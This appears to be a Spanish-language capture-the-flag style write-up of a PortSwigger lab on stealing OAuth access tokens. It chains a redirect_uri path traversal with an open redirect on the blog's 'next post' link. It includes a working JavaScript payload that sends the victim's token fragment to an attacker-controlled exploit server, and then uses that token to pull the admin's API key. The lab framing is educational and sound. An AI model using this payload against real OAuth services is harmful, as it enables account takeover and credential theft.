Stealing OAuth access tokens via an open redirect writeup

Descripción

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

Note

You cannot access the admin’s API key by simply logging in to their account on the client application.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

Stealing OAuth access tokens via an open redirect writeup

Dividiremos este laboratorio en varias fases:

Encontrar la vulnerabilidad donde realizar la redirección abierta

Entraremos al laboratorio y capturaremos con el ‘Logger’ el proceso de iniciar sesión, cerrarla y volverla a iniciar para entrar automáticamente. Entre las peticiones estará la siguiente:

La enviamos al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Allí probaremos a modificar el parámetro ‘redirect_uri’.

Veremos que no podemos modificar ‘https://0a7c00e90395d4c3839febe800fd00bd.web-security-academy.net/oauth-callback’, pero sí que podemos añadir más a la URL por detrás. Añadiendo ‘/../’ y siguiendo su redirección entraremos en la página principal.

El objetivo es encontrar algún elemento en la página que nos permita hacer una redirección a nuestro ‘Exploit server’ para enviar la petición al ‘/log’ con el token.

En este caso, esta funcionalidad nos la dará ‘Next post’:

Como se puede apreciar, tiene el parámetro ‘path’, que nos permite proporcionar otra URL y no verifica que deba ser de dentro de la página ni contener ninguna cadena de caracteres específica. La URL quedaría entonces así:

/auth?client_id=g63c9zfu3g4if6ixg9dy6&redirect_uri=https://0a7c00e90395d4c3839febe800fd00bd.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a780098038ad47883c2ea8d0116006d.exploit-server.net/exploit

Al enviarla y seguir la redirección dos veces encontraremos el mensaje predeterminado de ‘/exploit’:

Si tomamos la petición original, le damos Click derecho en ‘Request’ -> Show response in browser, veremos la siguiente URL:

El ‘access_token’ se encuentra en la URL, sin embargo, está detrás de un ‘#’, lo que hace que cuando sea registrado en el ‘Log’ del servidor, sea eliminado todo lo que se encuentra detrás de él. El script que usemos deberá tomar todo lo que se encuentre detrás de ‘#’ y redirigirlo a nuestro ‘Log’.

Debido a que el ‘/exploit’ se utiliza tanto como para enviar el exploit a la víctima como para almacenarlo, lo dividiremos en dos partes. Una en la que no tenga un ‘#’ en la URL (será donde tengamos que enviar el exploit) y otra donde sí lo tenga (tendremos que registrar el resultado):

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0aa800bb048bed2f844de3e802e5008b.oauth-server.net/auth?client_id=g63c9zfu3g4if6ixg9dy6&redirect_uri=https://0abc001f043aede284b3e5ca000000b4.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ac8002704e3ed4184b4e45c012800e8.exploit-server.net/exploit/&response_type=token&nonce=-403712324&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Al enviarselo a la víctima, tendremos en el log su token:

Sin embargo, el laboratorio no nos pide su token, sino su API Key. Es por ello que utilizaremos el endpoint habilitado ‘/me’, que nos devuelve toda la información del token que le introduzcamos. Este endpoint nos aparecerá en el ‘Logger’ al iniciar sesión y es usado por el servidor para obtener todos los datos necesarios:

Ahora, al enviar el valor de ‘apikey’ completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *